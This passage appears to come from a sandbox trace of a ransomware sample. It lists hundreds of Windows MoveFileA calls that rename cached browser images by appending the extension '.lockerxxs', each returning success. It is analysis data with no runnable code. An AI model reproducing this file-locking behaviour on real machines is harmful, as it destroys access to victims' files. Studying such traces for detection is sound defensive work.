halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc05rl[2].jpg.lockerxxs")) returned 1 [0082.259] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0ATj[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0atj[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0ATj[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0atj[1].jpg.lockerxxs")) returned 1 [0082.262] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0D8i[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0d8i[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0D8i[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0d8i[1].jpg.lockerxxs")) returned 1 [0082.264] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0g7a[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0g7a[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0g7a[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0g7a[1].jpg.lockerxxs")) returned 1 [0082.268] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0w1b[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0w1b[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0w1b[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0w1b[1].jpg.lockerxxs")) returned 1 [0082.271] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0xLt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0xlt[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0xLt[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0xlt[1].jpg.lockerxxs")) returned 1 [0082.274] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBDWA22[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbdwa22[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBDWA22[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbdwa22[1].jpg.lockerxxs")) returned 1 [0082.278] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBE7d3b[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbe7d3b[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBE7d3b[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbe7d3b[1].jpg.lockerxxs")) returned 1 [0082.281] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBE85ld[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbe85ld[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBE85ld[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbe85ld[1].jpg.lockerxxs")) returned 1 [0082.284] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdckp[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedckp[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdckp[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedckp[1].jpg.lockerxxs")) returned 1 [0082.287] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdMci[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedmci[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdMci[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedmci[1].jpg.lockerxxs")) returned 1 [0082.290] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdSLV[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedslv[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdSLV[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedslv[1].jpg.lockerxxs")) returned 1 [0082.295] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe2Pd[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee2pd[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe2Pd[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee2pd[1].jpg.lockerxxs")) returned 1 [0082.300] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe4Oo[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee4oo[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe4Oo[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee4oo[1].png.lockerxxs")) returned 1 [0082.305] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe6Ew[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee6ew[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe6Ew[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee6ew[1].jpg.lockerxxs")) returned 1 [0082.309] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeFp3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeefp3[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeFp3[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeefp3[1].jpg.lockerxxs")) returned 1 [0082.313] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeGwU[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeegwu[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeGwU[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeegwu[1].jpg.lockerxxs")) returned 1 [0082.317] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeUg0[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeeug0[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeUg0[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeeug0[1].jpg.lockerxxs")) returned 1 [0082.322] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeZnr[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeeznr[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeZnr[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeeznr[1].jpg.lockerxxs")) returned 1 [0082.326] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEf5Lq[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbef5lq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEf5Lq[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbef5lq[1].jpg.lockerxxs")) returned 1 [0082.333] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEfwtU[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbefwtu[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEfwtU[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbefwtu[1].jpg.lockerxxs")) returned 1 [0082.337] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEfzSd[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbefzsd[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEfzSd[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbefzsd[1].jpg.lockerxxs")) returned 1 [0082.341] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgCuQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegcuq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgCuQ[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegcuq[1].jpg.lockerxxs")) returned 1 [0082.345] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgHzB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeghzb[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgHzB[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeghzb[1].jpg.lockerxxs")) returned 1 [0082.348] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIl2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegil2[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIl2[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegil2[1].jpg.lockerxxs")) returned 1 [0082.352] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIl2[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegil2[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIl2[2].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegil2[2].jpg.lockerxxs")) returned 1 [0082.355] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIyL[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegiyl[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIyL[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegiyl[1].jpg.lockerxxs")) returned 1 [0082.359] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgkY6[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegky6[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgkY6[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegky6[1].jpg.lockerxxs")) returned 1 [0082.362] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgLzV[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeglzv[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgLzV[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeglzv[1].jpg.lockerxxs")) returned 1 [0082.367] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgUri[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeguri[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgUri[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeguri[1].jpg.lockerxxs")) returned 1 [0082.370] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgXBv[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegxbv[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgXBv[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegxbv[1].jpg.lockerxxs")) returned 1 [0082.375] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgZME[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegzme[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgZME[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegzme[1].jpg.lockerxxs")) returned 1 [0082.379] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBghfVy[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbghfvy[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBghfVy[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbghfvy[1].png.lockerxxs")) returned 1 [0082.382] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBkwUr[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbkwur[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBkwUr[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbkwur[1].png.lockerxxs")) returned 1 [0082.386] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBlBV0U[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bblbv0u[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBlBV0U[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bblbv0u[1].png.lockerxxs")) returned 1 [0082.389] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBzhWWE[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbzhwwe[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBzhWWE[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbzhwwe[1].jpg.lockerxxs")) returned 1 [0082.395] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\benefits-2[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 